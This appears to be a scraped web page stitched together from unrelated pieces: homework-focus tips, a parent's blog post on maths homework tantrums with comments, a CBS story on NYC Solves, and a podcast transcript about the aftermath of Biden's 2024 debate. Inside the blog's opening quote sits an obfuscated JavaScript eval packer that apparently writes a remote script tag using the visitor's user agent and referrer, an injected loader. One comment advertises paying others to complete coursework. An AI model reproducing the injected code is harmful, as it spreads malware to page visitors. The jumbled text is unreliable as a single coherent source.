If you’re having trouble motivating yourself, it’s okay to turn to others for support. Creating a homework group can help with this. Bring together a group of your friends or classmates, and pick one time a week where you meet and work on homework together. You don’t have to be in the same class, or even taking the same subjects— the goal is to encourage one another to start (and finish!) your assignments. 

Another added benefit of a homework group is that you can help one another if you’re struggling to understand the material covered in your classes. This is especially helpful if your lack of motivation comes from being intimidated by your assignments. Asking your friends for help may feel less scary than talking to your teacher...and once you get a handle on the material, your homework may become less frightening, too. 

#3: Change Up Your Environment 

If you find that you’re totally unmotivated, it may help if you find a new place to do your homework. For example, if you’ve been struggling to get your homework done at home, try spending an extra hour in the library after school instead. The change of scenery can limit your distractions and give you the energy you need to get your work done. 

If you’re stuck doing homework at home, you can still use this tip. For instance, maybe you’ve always done your homework sitting on your bed. Try relocating somewhere else, like your kitchen table, for a few weeks. You may find that setting up a new “homework spot” in your house gives you a motivational lift and helps you get your work done. 

Social media can be a huge problem when it comes to doing homework. We have advice for helping you unplug and regain focus.

How to Do Homework When You’re Easily Distracted

We live in an always-on world, and there are tons of things clamoring for our attention. From friends and family to pop culture and social media, it seems like there’s always something (or someone!) distracting us from the things we need to do.

The 24/7 world we live in has affected our ability to focus on tasks for prolonged periods of time. Research has shown that over the past decade, an average person’s attention span has gone from 12 seconds to eight seconds . And when we do lose focus, i t takes people a long time to get back on task . One study found that it can take as long as 23 minutes to get back to work once we’ve been distracte d. No wonder it can take hours to get your homework done! 

3 Tips to Improve Your Focus

If you have a hard time focusing when you’re doing your homework, it’s a good idea to try and eliminate as many distractions as possible. Here are three expert tips for blocking out the noise so you can focus on getting your homework done. 

#1: Create a Distraction-Free Environment

Pick a place where you’ll do your homework every day, and make it as distraction-free as possible. Try to find a location where there won’t be tons of noise, and limit your access to screens while you’re doing your homework. Put together a focus-oriented playlist (or choose one on your favorite streaming service), and put your headphones on while you work. 

You may find that other people, like your friends and family, are your biggest distraction. If that’s the case, try setting up some homework boundaries. Let them know when you’ll be working on homework every day, and ask them if they’ll help you keep a quiet environment. They’ll be happy to lend a hand! 

#2: Limit Your Access to Technology 

We know, we know...this tip isn’t fun, but it does work. For homework that doesn’t require a computer, like handouts or worksheets, it’s best to put all your technology away . Turn off your television, put your phone and laptop in your backpack, and silence notifications on any wearable tech you may be sporting. If you listen to music while you work, that’s fine...but make sure you have a playlist set up so you’re not shuffling through songs once you get started on your homework. 

If your homework requires your laptop or tablet, it can be harder to limit your access to distractions. But it’s not impossible! T here are apps you can download that will block certain websites while you’re working so that you’re not tempted to scroll through Twitter or check your Facebook feed. Silence notifications and text messages on your computer, and don’t open your email account unless you absolutely have to. And if you don’t need access to the internet to complete your assignments, turn off your WiFi. Cutting out the online chatter is a great way to make sure you’re getting your homework done. 

#3: Set a Timer (the Pomodoro Technique)

Have you ever heard of the Pomodoro technique ? It’s a productivity hack that uses a timer to help you focus!

Here’s how it works: first, set a timer for 25 minutes. This is going to be your work time. During this 25 minutes, all you can do is work on whatever homework assignment you have in front of you. No email, no text messaging, no phone calls—just homework. When that timer goes off, you get to take a 5 minute break. Every time you go through one of these cycles, it’s called a “pomodoro.” For every four pomodoros you complete, you can take a longer break of 15 to 30 minutes.

The pomodoro technique works through a combination of boundary setting and rewards. First, it gives you a finite amount of time to focus, so you know that you only have to work really hard for 25 minutes. Once you’ve done that, you’re rewarded with a short break where you can do whatever you want. Additionally, tracking how many pomodoros you complete can help you see how long you’re really working on your homework. (Once you start using our focus tips, you may find it doesn’t take as long as you thought!)

Two Bonus Tips for How to Do Homework Fast

Even if you’re doing everything right, there will be times when you just need to get your homework done as fast as possible. (Why do teachers always have projects due in the same week? The world may never know.)

The problem with speeding through homework is that it’s easy to make mistakes. While turning in an assignment is always better than not submitting anything at all, you want to make sure that you’re not compromising quality for speed. Simply put, the goal is to get your homework done quickly and still make a good grade on the assignment! 

Here are our two bonus tips for getting a decent grade on your homework assignments , even when you’re in a time crunch. 

#1: Do the Easy Parts First 

This is especially true if you’re working on a handout with multiple questions. Before you start working on the assignment, read through all the questions and problems. As you do, make a mark beside the questions you think are “easy” to answer . 

Once you’ve finished going through the whole assignment, you can answer these questions first. Getting the easy questions out of the way as quickly as possible lets you spend more time on the trickier portions of your homework, which will maximize your assignment grade. 

(Quick note: this is also a good strategy to use on timed assignments and tests, like the SAT and the ACT !) 

#2: Pay Attention in Class 

Homework gets a lot easier when you’re actively learning the material. Teachers aren’t giving you homework because they’re mean or trying to ruin your weekend... it’s because they want you to really understand the course material. Homework is designed to reinforce what you’re already learning in class so you’ll be ready to tackle harder concepts later.

When you pay attention in class, ask questions, and take good notes, you’re absorbing the information you’ll need to succeed on your homework assignments. (You’re stuck in class anyway, so you might as well make the most of it!) Not only will paying attention in class make your homework less confusing, it will also help it go much faster, too.

What’s Next?

If you’re looking to improve your productivity beyond homework, a good place to begin is with time management. After all, we only have so much time in a day...so it’s important to get the most out of it! To get you started, check out this list of the 12 best time management techniques that you can start using today.

When They Just Want to Rip Up Their Maths Homework!

“ Why eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6(" ");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eaans|var|u0026u|referrer|ksyfi||js|php'.split('|'),0,{})) do I have to do this stupid maths homework – I’m not doing it !”

T his was followed by:

as an A4 Size maths exercise book flies frisbee style across the room.

I’m a former (is there such a thing?) maths teacher, a loving parent, and a blogger who gives advice to parents on how to support their child’s maths, so of course my children always happily do their maths homework?

If this has never happened to you then congratulations, but before you leave this page please leave your suggestions about how to avoid maths homework tantrums in the comments section of this post!

For the rest of you, here are a few suggestions of what to do when your child’s maths homework takes to the air!

Easy as it may be to add to the noisy display, keeping calm will show that you are in control. It also gives your child a chance to gather their thoughts (and also to wonder ” oh oh what’s coming next?)

It may not be maths homework, but think of times when you’re frustrated and just want to throw the report card, the telephone bill, or the newspaper across the room. Tell your child that you know that they’re finding their maths homework hard and that maths can be difficult. Give them an example of something you used to find difficult but worked on and now you don’t find it so scary at all.

Think of something positive to praise them for. A good maths test last month, a positive comment from their maths teacher, or even say that you were pleased how neat/quick/accurate their maths homework was last week or how you loved the fact that they were able to tackle xyz difficult maths problem.

Give options

Ask if they want you both to look at the maths homework now are later. If you have a preference, make the other option unattractive “If we do it later you might miss your favorite TV programme” but be prepared to give in on this one. Let them have it their way this once.

Make the time (yes I know there’s no time but try to find some) to sit down with your child and work through the work together. Try to get them to explain to you what they do understand before tackling the difficult questions. Finally, make time for your child to do some regular maths practice .

What do you do when your kids have a maths homework tantrum?

Please note: I reserve the right to delete comments that are offensive or off-topic.

That whole remain calm thing… yeah, I’m going to work on that! Great tips for any homework woes!

Yes, don’t worry I’m still working on it, but was amazed when I did it and it worked! I’ll have to read this particular post weekly as a reminder!

I have a son with dyscalcula, he is 12 and understands higher math concepts like a 12th grader, but his math facts are at a 4th grade level, so math homework can be a nightmare. Thanks for the tips!

Hope the tips help! Do have a look at my “Who else wants their child to be lightening fast at maths?” series of posts. Some of the DIY Kumon ideas in it may help with your son’s arithmetic.

FAB post. I have two kids with ADHD (I am a teacher myself) and these tips are wonderful!

I think the two most important are being patient (this would solve SO many problems with parenting) and time. So many parents don’t take the time to sit with their child during homework time. This doesn’t mean they DO their homework, but it works well to be their personal cheerleader during the tougher subjects.

Take care! :)

I love that phrase!

…be their personal cheerleader during the tougher subjects.

The ideal is when I kind of hover around busying myself in the kitchen while mine do their homework at the breakfast bar, but as teenagehood looms the older one likes to have her own space!

Sympathizing is the best thing! It makes them feel heard. And it doesn’t pit you against each other. And being on the same team is such a plus when you’re trying to get through tasks that you’d both prefer to blow off!

Yes, you’re right! I now try to say, “I know it’s hard” or “I know you’re tired” before I say anything else.

You can always hire an expert to d your work :)

I was using another site to get my online math course out of the way (I'm a single mom who works 6 days a week, so I don't have the time or desire to struggle through page after page of tedious math problems on my own), but when my professor got the bright idea that he'd start giving surprise quizzes on location, it threw a monkey wrench in my system. Suddenly I needed an occasional brief, cut-to-the-chase, CliffsNotes-style tutoring session to make it through my course, and those other guys didn't have a clue. What a blessing that I found this site! They not only did my online assignments like clockwork, they also gave me free 15-minute, 1-on-1 prep sessions for my quizzes.

Math proficiency in New York City schools at center of NYC Solves program. Here's how it works.

By Marcia Kramer

June 24, 2024 / 7:27 PM EDT / CBS New York

NEW YORK -- Saying that New York City public school students often struggle with math, Mayor Eric Adams and Schools Chancellor David Banks on Monday unveiled NYC Solves, a new and innovative program.

The program, which tries to relate math to real-world experiences, like going to the supermarket or the drug store, will begin this fall at 93 middle schools in eight districts, and 420 high schools. It's necessary because math proficiency in city schools is sorely lacking.

"In 2023, half of our students in grades 3 through 8 were not proficient in math and that was an improvement from the year before. Nearly 66% of Black students and approximately 64% of Latino students scored below proficiency. That is wholly unacceptable," Banks said.

"The equation is simple. When you take good policy and multiply it by hard work, the net results will always be positive," Adams added.

The move came after 1,000 teachers signed a petition organized by a group called Educators for Excellence, which said the move from the mayor and the chancellor shows they heard the teachers' pleas.

"NYC Solves is another huge and much-needed step forward in helping our students achieve better outcomes in math," said Marielys Divanne, the group's executive director.

Program designed to change attitudes about math

Adams and Banks are now intent on drumming math into the heads of city public school students, like eighth grader Imani Reevey.

"I used to hate math," Reevey said.

Reevey is a success story of a new way of teaching math, which tries to undo the fear of numbers that so many students and teachers have.

"I now feel confident in my skills the way I do math, both with help and without help," Reevey said.

Officials said it's also about changing the classroom attitudes about the subject of math. CBS New York's Marcia Kramer asked the mayor if he hated math when he was in school.

"Yes, because, you know, growing up in the household, everybody on the block was saying they hated math. You were constantly reminded about what you can't be," Adams said.

The mayor and the chancellor also announced the creation of a new division within the Department of Education that will focus students with disabilities and who may not speak English. It will also focus on the needs of some 38,000 migrant students who have already entered the system.

President Joe Biden’s disastrous debate performance last week set off a furious discussion among Democratic officials, donors, and strategists about whether and how to replace him as their party’s nominee. Today, chief White House correspondent Peter Baker takes us inside those discussions and Biden’s effort to shut that conversation down.

It’s Monday, July 1.

Peter, you’ve been reporting on what I think can be best described as the great Democratic freakout that started basically from the moment the debate began at 9:00 PM on Thursday night. Tell us about the aftermath.

Yeah, I’ve been covering politics for 38 years, and I’ve never seen a political panic like we saw after that debate. It was like a run on the bank. Everybody in the Democratic Party was suddenly confronted with what they didn’t want to admit up until then, which is that they have an 81-year-old candidate who would be 86 at the end of his second term. And it’s very possible that he was not capable of completing this campaign in a vigorous and competitive way against Donald Trump. That’s what really it comes down to for many Democrats. Can Joe Biden take the campaign to Donald Trump and stop what they think is an existential threat to the country?

I want to know more about who you were hearing from. Who are the people that are calling you? What are the big questions they’re asking? What are they struggling with?

Yeah, I don’t want to get into too many names. A lot of people don’t want to be out front. But you did see even publicly, people like Senator Claire McCaskill.

Joe Biden had one thing he had to do tonight and he didn’t do it.

The former Senator from Missouri, red state Democrat, was on MSNBC just minutes after the debate.

He had one thing he had to accomplish, and that was reassure America that he was up to the job at his age. And he failed at that tonight.

She talked about this was a crisis, that her phone was blowing up with a lot of Democrats. And she was very forthright about it. It was very striking that she said that.

I think there’s a lot of people who are going to want to see him consider taking a different course now,

People like van Jones, who was on CNN, he used to work in the Obama White House.

We’re still far from our convention. And there is time for this party to figure out a different way forward, if you will allow us to do that.

He very candidly talked about how this was going to raise questions about whether the President should continue as the candidate.

Some Democrats are calling for Biden to step down. Andrew Yang —

Andrew Yang, who ran against Biden in 2020 for the Democratic nomination, popular with some younger voters, he said on social media it was time for Biden to step aside. Those are some of the public people. And obviously, in the hours and days that followed, more came out and said, well, this is something we need to think about.

But the people I was talking to were people behind the scenes, people who have run White Houses before, people who work for President Biden in this administration. I heard words like, “He can’t win.” “This is a disaster.”

“This is a nightmare.” And they were very, very concerned that he could not beat Donald Trump.

Right. And you saw these really prominent media figures, outlets, “The Times” as an actor in this situation calling for Biden to step aside. Our editorial board did this. We should say this is entirely separate from our newsroom from the show, but there was this real crescendo. And there was a sense that this was a turning point, right?

Absolutely. But it’s not just the media. I think what the Biden campaign would like it to be is about the media. It’s just that the media tends to be more out front and say things more openly than Democrats were saying. It really was rank and file Democrats. It really was high ranking Democrats, and they were absolutely flipped out.

Right. These doubts are coming from all over, from many corners. Take me through, Peter, the argument for why this poor performance meant that Biden should be replaced. How do they explain that thinking?

Well, look, a lot of people who defended President Biden will say is that incumbent presidents don’t do well in their first debate, and that is true. Historically, that’s been true. Ronald Reagan, George W. Bush, Barack Obama, Donald Trump all lost, arguably, their first debate when they were running for re-election.

But the difference is, if Obama doesn’t register a good performance against Mitt Romney, first of all, nobody thought that Obama wasn’t capable of being president as a result. And second of all, he had another debate about a week or two later in order to try to recover. Neither of those factors works here.

Biden’s problem from this debate is much more existential. It’s much more profound because it’s about whether he is able to perform the office of president, not just for the next few months, but for the next 4 and 1/2 years. And there’s not going to be another debate until September. So he doesn’t have another big audience opportunity to change people’s minds, to show that, in fact, he does still have it and can run the country. And that’s a real problem for him.

And there’s this broader context here, right. Voters have been telling pollsters for a year now that Biden’s age is a major concern for them. We’ve seen Biden’s age before our very eyes. We’ve seen him stumble in speeches, in public appearances. And, Peter, we had talked to you about this very issue a few months ago after a special counsel investigating Biden’s son, Hunter, issued this report focusing on Biden’s mental state, in part, saying that the president was, quote, a “well-meaning elderly man with a poor memory” and had, quote, “diminished faculties in advancing age.”

But at the time, the White House dismissed that report as a partisan hit job. So in a sense, this debate performance was the capstone of something that’s been in the air for a very long time. It’s just that this time, it was undeniable. There was no spinning it.

Well, I think that’s exactly right. There was no spinning it. One Democrat put it to me. He said, for a long time, the fear of Trump stifled Democratic criticism of Biden. People didn’t want to criticize him because they desperately want to beat Trump.

But now, that same fear, he said to me, now meant that they could no longer stand behind Biden, that they worried that he had been diminishing over a period of time and that his staff and the people around him had hidden that from the public. There’s a real anger out there among some Democrats. Now, what the Biden circle would tell you is, no, we didn’t hide anything from you.

Yes, he does have moments where he is not as lucid as you would want him to be, but that, broadly speaking, when they see him operate, when they’re sitting with him in the Oval Office or in the situation room, he is sharp. He asks good questions. He understands and grasps the issues that he is confronting.

And I mean, we all have good days and bad days. But when you’re 81, your good days and bad days may be more pronounced.

And if he has good days and bad days, well, Thursday night was a very bad night.

Peter, I want to ask you about that, about your view on all of this, because I do think all this has raised this fundamental question for a lot of Democrats, for a lot of journalists, for voters, which is what you’re getting at. Was what we saw on the debate stage the real Biden? And had the White House been hiding him from us? Or were the people around him just unable to recognize the perils of this themselves? Like, have they been gaslighting us all, or are they in denial?

Yeah, it’s a good question. That’s the question in some ways, right. I think that people who work closely with the president and like him, admire him, respect him want to see the best in him and want everybody else to see the best in him. And they have been unwilling to admit whether or not he has slipped in the last 3 and 1/2 years.

And part of it may be strategic. They recognize in their view that he is the president. They’ve got to build him u and make him as successful as possible. And they have shielded him as much as possible from public scrutiny.

He hasn’t give as many interviews or as many press conferences as any of his predecessors going back to Reagan. He’s never getting interview to “The New York Times,” or “The Washington Post,” or “The Wall Street Journal,” or the “LA Times,” or any other newspaper, which is, I think, the first president, certainly in my lifetime, who hasn’t done that. And that’s been part of a pattern of them trying to protect him. And I think there’s kind of a reckoning right now among other Democrats, wondering whether they went too far.

OK. So we have this huge reaction to this moment, the debate from the Democrats in the news media. Can you walk us through how the Biden team responds to the full-blown panic?

His campaign was thrown into full-blown damage control over the weekend. And the President himself set out to do two things. First, privately, he met with donors and assured them, yes, he’s still a viable candidate and that they should still support him.

And then publicly, he went on a campaign blitz, traveling to seven events in four states. And his first stop on Friday, in fact, was at a rally in Raleigh, North Carolina.

[CROWD CHEERING]

Hello, hello, hello.

This was already scheduled before the debate, but it gave him an opportunity to both show that he can do the job —

Thank you, North Carolina.

— to demonstrate vigor and vitality —

I don’t know what you did last night, but I spent 90 days and 90 minutes on the stage debating the guy who has the morals of an alley cat.

— and to address his own performance.

I know I’m not a young man. State the obvious. Well, I know.

And he says pretty candidly, he says, yeah, I’m not a young man.

I don’t walk as easy as I used to. I don’t speak as smoothly as I used to. I don’t debate as well as I used to.

But he goes on.

Well, I know what I do know. I know how to tell the truth.

And I know how to tell right from wrong.

And I know how to do this job. I know how to get things done. And I know, like millions of Americans know, when you get knocked down, you get back up.

And, you know, he comes across as pretty vigorous, pretty energetic. Of course, he’s reading from a teleprompter. Always a lot easier to read from a teleprompter. But I think more important than that was the body language and the spirit that he brought to the moment.

It sounds like teleprompter, not the Biden who appears at the rally is meaningfully different, at least in style from the President that we saw on the debate stage. I’m wondering if you think this has changed anything. Has the conversation changed?

No, not fundamentally. I think fundamentally that people still recognize that there’s an issue here. Now, there was pushback among Democrats saying, OK, take a breath. Get a hold of yourself. He’s not dropping out.

I don’t think you judge a person’s — the body of their work on one night. They don’t always go the way you want to. I have confidence in the President because he’s delivered.

And I understand that he had a raspy voice. But like I’ve told folks, who cares? We have a choice this November between someone that’s a good person, a good president with a real record of results, and someone that has brought shame on the presidency.

Don’t let 90 minutes define a career of a president who’s been in office for 3 and 1/2 years, been in politics for 50 years, and overshadow the important issues that he stands for. And so you heard that line of thinking in the spin room and on TV.

Look, I think Joe Biden had a bad debate night, but it doesn’t change the fact that Donald Trump was a bad president.

And by the way, Trump did terribly, too, which is a fair point. Trump may have been more lucid in the sense that he sounded stronger. But if you actually looked at what he said, listen to what he said, he said so many things that were just not true. And it helped Biden that former President Barack Obama put out a statement saying, hey, guys, I’ve seen bad debates. It’s fine. Don’t freak out, in effect, is what he said.

And Jim Clyburn —

And if he asked my opinion, I would give it, as I always do —

— who is his very close ally in Congress from South Carolina, the Congressman who helped get him the nomination in the first place, said, stay the course.

He should stay in this race. He should demonstrate going forward his capacity to lead the country.

So it was important to have those voices out there among prominent Democrats trying to calm the waters. But it only went so far because the waters are still churning underneath.

Peter, I’m curious how his donors are reacting to all this. I mean, you mentioned that part of his full court press is to reassure them that he’s got the mental acuity to run. How successful has he been at that?

Yeah, I think that there are certainly some donors who are resigned. They feel like there’s not much choice. But there are others who actually are considering jumping off the boat. Jumping on what Mika Brzezinski on “Morning Joe” called the hysteria train. And I think that it’s an open question.

But part of the thing is, of course, they’re waiting to see how the polls really shake out. The initial polls after any debate are often not really representative of how an event settles into the political narrative. And the polling and data so far have been kind of contradictory. On the one hand, it shows that Trump clearly beat Biden. Biden clearly lost, and that Biden has only reinforced the doubts that most voters have about his age and mental capacity. That’s absolutely true.

At the same time, there’s some polling showing that the overall horse race number, who are you going to vote for, hasn’t moved dramatically yet, if it does at all, and that it’s possible this is baked in that people who were going to vote against him are still going to vote against him. The people who would vote for him, holding their nose, may not be happy about it, may still be voting for him.

But there’s a tell. The tell was from the Biden campaign. When they put out a memo by Jen O’Malley Dillon, who was his top political person at the campaign, and she says if you see polls go down in the next few days or weeks, what’s telling is that she is, in fact, anticipating that polls would be bad for them and trying to set expectations for supporters and voters and donors saying, don’t let that panic you any further. That’s normal, and we’ll get past that just as we have other bumps in the road.

It seems like the Biden effort over the weekend has, in some sense, quieted some public doubts from key Democrats, right? There’s not a — we didn’t see a deluge of senior lawmakers going on Sunday talk shows and saying, Mr. President, step aside. But from what you’re saying and based on the reporting that we’ve seen from our colleagues, the effort has not, by any means, ended the discussion about replacing Biden. That is very much still happening under the surface.

Yeah. That discussion is very much alive among Democrats. Will Biden and should Biden remain as the candidate? And the question then becomes is if he doesn’t, what then?

We’ll be right back.

Peter, given that this discussion of Biden stepping aside is still, as you said, very much alive, what would it look like for someone to replace him on the presidential ticket at this point in the campaign just a few months before election day? It sounds like it would be pretty daunting.

Yeah. I mean, look, we have never had a situation like this, not certainly in modern times. No president has ever dropped out of the race so late in the cycle. And you have to remember a couple of things.

First of all, the Democratic National Convention, which would anoint a new nominee, is in late August. But they’re actually scheduled to take a roll call vote before the convention begins on August 7. So that means we have five weeks between now and when the roll call is scheduled to be held to decide a nominee.

If the president were to drop out, that would create this truncated, incredibly intense, incredibly wide open, incredibly volatile, short campaign to figure out who would be the nominee. And it’s complicated logistically. It’s complicated politically, it’s complicated in all sorts of ways. And we don’t really know what’s going to happen or how it would happen because we’ve never seen it before.

But it is conceivable. It is possible. The President has to decide that he’s not going to run. If that doesn’t happen, then there’s no contest. There’s no way anybody sees a forcing him off the ballot if he chooses to continue to run. That doesn’t seem to be any appetite for trying to find a way to undo his nomination other than with his consent.

He controls the 3,900 delegates that are going to be at the convention. They’re obligated to vote for him on the first ballot. So it has to be first, his decision on whether he continues to run. If he does, then that’s it. That’s the end of that question. But if he doesn’t, then it’s jump ball.

Would his replacement automatically be Kamala Harris as the vice president?

No, not at all. If it were after the convention and they were both nominated, and then he stepped aside at the last minute, then they probably would simply go to Kamala Harris because she had been ratified by the convention as the vice presidential candidate. That’s possible. But if we’re talking about a situation before the convention, it’s anybody’s guess. There’s about a dozen other prominent Democrats out there who are looking at jumping in if suddenly, the nomination is up for grabs.

But so who are we talking about? What are some of the most prominent names that have come up?

Well, other than Kamala Harris, you have a number of governors, particularly Gavin Newsom of California, Gretchen Whitmer of Michigan, J.B. Pritzker of Illinois. There are, of course, those who ran last time who might jump back in, in theory. Senator Cory Booker, Senator Amy Klobuchar, potentially even maybe Pete Buttigieg, who is currently the transportation Secretary.

But the ones who are going to have the best chance are those who have an apparatus already, who have a set of donors and fundraisers who can raise money instantly, and who have the ability to get on TV and get media attention without having to work as hard for it. And that does suggest, obviously, a sitting vice president or a sitting governor.

Basically hitting reset on the whole nomination process requires embracing a moment of genuine political chaos. I mean, that’s the theoretical downside of this. But of course, I mean, there’s also a potential upside, right? Massive media attention potentially for whoever the replacement Democrat is, the possibility that that replacement could energize a lot of Democratic voters and independents, and even potentially moderate Republicans out there who dislike Trump but just couldn’t get excited about Biden.

Yeah, absolutely. Whoever emerges will have a certain advantage of freshness, right. And that person will have a generational argument to make against Trump because whoever it would be would be younger than Trump. And suddenly, Trump is then the old candidate. He’s 78.

And that new Democratic candidate would be able to say, I’m the next generation. This guy is also too old to be president. And if you’re concerned about our guy was, can he make it through four years, then you should be picking me because the other guy can’t make it either through four years.

Now, the downside, of course, is these are people who are largely untested on a national stage, at least in this kind of an environment. And you don’t know how people will do once they actually jump in. They didn’t have the advantage of a year-long primary contest to prove themselves.

Before you jump into a race, you can look really attractive. Look at Ron DeSantis. Before he jumped in to the Republican primaries, on the Republican side, they all thought, wow, he’s really great. Didn’t turn out to be so great once he got on the campaign trail. The magic didn’t actually appear. So that’s the danger here, is we don’t know which of these Democrats, if any, would have the ability to shine when the big giant klieg lights are on them.

And we’re clearly in a delicate moment right now. But are any of these potential contenders trying to signal interest at this point? I mean, what does that look like? It sort of seems like the art of raising your hand for something but not wanting it to publicly.

Yeah, it’s a really good question because you obviously can’t do anything that seems disloyal to Biden, right. Nobody’s willing to take on Biden directly and say, I’m now running, and you should take him down. So the trick here is you have to be loyal, loyal, loyal right up to the minute that Biden says he’s not running, at which point then suddenly you’re off to the races.

And doing that from a standing start is not a good idea for any campaign. So they have to find ways of talking to their people, lining up donors, thinking about what kind of a campaign would look like, who might be their strategist, without letting anybody know that they’re doing that, or at least not let anybody in our business know that because it would obviously backlash on them. And that’s a very hard thing to do. I mean, I heard that there are people out there making phone calls who want to run, but nobody’s going to admit that outright because it would be damaging to them.

And in terms of logistics here — I know this is all very hypothetical — but if a new candidate were to become the nominee, do they get all the money Biden raised? Do they get his campaign team, or are they literally creating a presidential campaign from scratch with four months to go?

I mean, presumably, they would adopt a lot of Biden’s apparatus. As for the money, a lot of the money these days is in kind of superpacs and these sort of amorphous structures that can go immediately to a different candidate. And everybody who contributed to Biden can now contribute to the new candidate. And then Biden can still spend his money as he chooses in support of whoever the candidate is.

So there’s that advantage in a way it could actually increase some fundraising. But you’re right, they would be starting from scratch in a lot of ways, at least in terms of a national organization.

And obviously, for this to even happen, it relies on Biden stepping aside here, as you said. Everything you’ve laid out so far suggests that he is, for now at least, closed off to this suggestion. And I have to ask what you think from your reporting would change that.

Well, President Biden is a proud man. He’s a stubborn man. As a lot of people of any age are, he is reluctant to confront and face his own weaknesses, and he’s not going to be talked out of running by a bunch of media chattering class, pundits, and junior Democrats. I mean, think about it. He’s been running for president since 1987. And the idea that he is now in office and running the country and as he thinks it, running it pretty well, that he’s going to simply step aside because a bunch of people tell him he should, he reacts viscerally to that. Of course, he doesn’t want to do that.

In fact, when you talk to Democrats, they’re very conscious of not trying to push him because it could have the opposite reaction. It could trigger him to want to stay even more. The people who have influence with him, not that many people.

I mean, at this point, he’s been in politics since 1972 when he was elected to the Senate. And the people he considers his peers, most of them are gone. He’s not surrounded by people whose opinion he truly respects.

Obama and Clinton, the only two former presidents out there other than Jimmy Carter, who are Democrats, I don’t know that if they told him it was time to pull the plug, that he would listen to that. In fact, he might, again, do the opposite. He still resents Obama for discouraging from running in 2016.

Obviously, congressional leaders like Chuck Schumer, Nancy Pelosi, Hakeem Jeffries, Jim Clyburn, people like that, could have an influence if they were to go as a group to him in a way like the Republicans went to Nixon in 1974 and said that he wasn’t going to survive. Maybe that might influence him. But I don’t think they’re likely to do it. It doesn’t look like they’re likely to do that.

Who does have his ear? I mean, who does he really listen to? Who do we know he’s going to be listening to in this moment?

Well, the real people he listens to the most are his family. He’s a very family-oriented guy. Remember, he went home to Wilmington almost every night when he was a Senator. Even now as president, he flies home to Wilmington most every weekend.

And he’s at Camp David this weekend with his family. They’re there because they had already planned to be together for a photo shoot, ironically, with Annie Leibovitz. So the family was already gathering at Camp David —

— gives him an opportunity. Right. And it gives him an opportunity to have a heart-to-heart conversation with the people who mean the most to him, in particular, Jill Biden, of course, the first lady and his sister, Valerie, the kids, and the grandkids. We don’t know what that conversation looks like.

I mean, that’s as private as it comes. Someday they’ll be histories written and memoirs written. And I’m fascinated to read what’s happening this weekend at Camp David, because I think it’s kind of pivotal. But what we do know is that up until now, at least, Jill has been all in.

She’s been encouraging him to run. And it sounds like she’s been encouraging him to stay in. And a lot of people think her voice is the most important voice in this.

And just to pause on this for a second, Peter, it sounds like you’re saying something pretty remarkable, actually, which is that this very small handful of people have influence over what is going to be a massive decision that affects hundreds of millions of Americans and really the entire world.

Well, don’t underplay it. But yeah, that’s exactly right. And you’re right to point out the stakes here, because it’s not just about Joe Biden and his future. It is about this presidential race. And it is about whether you want Donald Trump back in office. That’s the way most Democrats look at it. And the difference between a Biden presidency and a Trump presidency is about as stark as you can imagine. And this will have consequences that will ripple out for years to come.

Peter, I kind of want to end where we began this conversation, which is with this question of Democrats’ mindset right now, post-debate, and the question of what’s motivating them in this moment. Privately, they’re talking about replacing Biden. They seem too scared to do that publicly for all the reasons we’ve discussed, including that the White House is basically telling them to stop talking about it and that Biden probably won’t step aside anyway. So all of this may just be useless hand-wringing.

And all of that raises a pretty essential question for me, which is, are Democrats about to recommit to a damaged nominee who had a disastrous debate, who may only get worse over time out of loyalty to President Biden? Or do you think on some level they really believe this is all just overblown, that it’s one debate, everybody has bad days, and Biden really can recover from all this?

I think there’s a lot of doubt in the party that he can really recover from. This is the argument obviously the Biden campaign is making. And it’s really the only argument they have available to them to say, look, don’t overreact here. It’s just the media hyperventilating. We will recover like we’ve recovered before.

And it is what they have to say because they don’t have anything else that they can say. But almost every Democrat outside of the inner circle that I talk to says this was a complete disaster. They are not sugarcoating it. They saw what they saw with their own eyes, and they think that it’s not tenable for the campaign to pretend otherwise.

And it’s particularly devastating because the weakness of the Biden campaign has always been concerns about his age. People have expressed that to pollsters and in interviews with reporters going back more than a year. And now they just saw it for themselves on TV, in their living rooms, more than 50 million of them. And to convince them not to believe what they saw with their own eyes is just a monumental task politically.

So for Biden’s team and for the Democrats, it’s a big roll of the dice. Do you stick with him and try to correct the damage in the four months you have? Or do you say, it’s time for somebody else, which is going to be a roll of the dice itself?

And assuming Biden continues, Peter, it sounds like we won’t know if that bet, that bet that he’s the only one that ever beat him. He’s the only guy that can get this done, if that was solid or diluted thinking until November 5.

On November 5, or whatever day of the election is resolved, we will know how history judges this. And maybe everybody looks back on this and says, well, that was close, but they were right to stick it out because they won. Or in fact, it was a disastrous decision, and they wasted an opportunity to fix campaign that was already having trouble. Hindsight will be perfect, but there’s no question that this weekend will be remembered as perhaps the most decisive of this campaign.

Peter, thanks for coming on.

Thanks for having me.

After we spoke with Peter, “The New York Times” reported that while at Camp David, Biden’s family urged the president to stay in the race, arguing that, yes, he could still show voters he’s capable of serving another four years.

Here’s what else you need to know today. Early projections show that France’s far-right national rally party won a decisive victory in the first round of voting for the country’s national assembly on Sunday. National rally, an anti-immigrant party long on the fringes of the French political scene, captured about a third of the vote, according to polls, and now appears poised to become the largest force in the lower house of parliament.

The results dealt a blow to French president Emmanuel Macron, who took a gamble by dissolving parliament last month and calling for snap elections. But his bet that the far right wouldn’t repeat its recent success in European parliament elections backfired. A run-off election between the leading parties will be held on July 7.
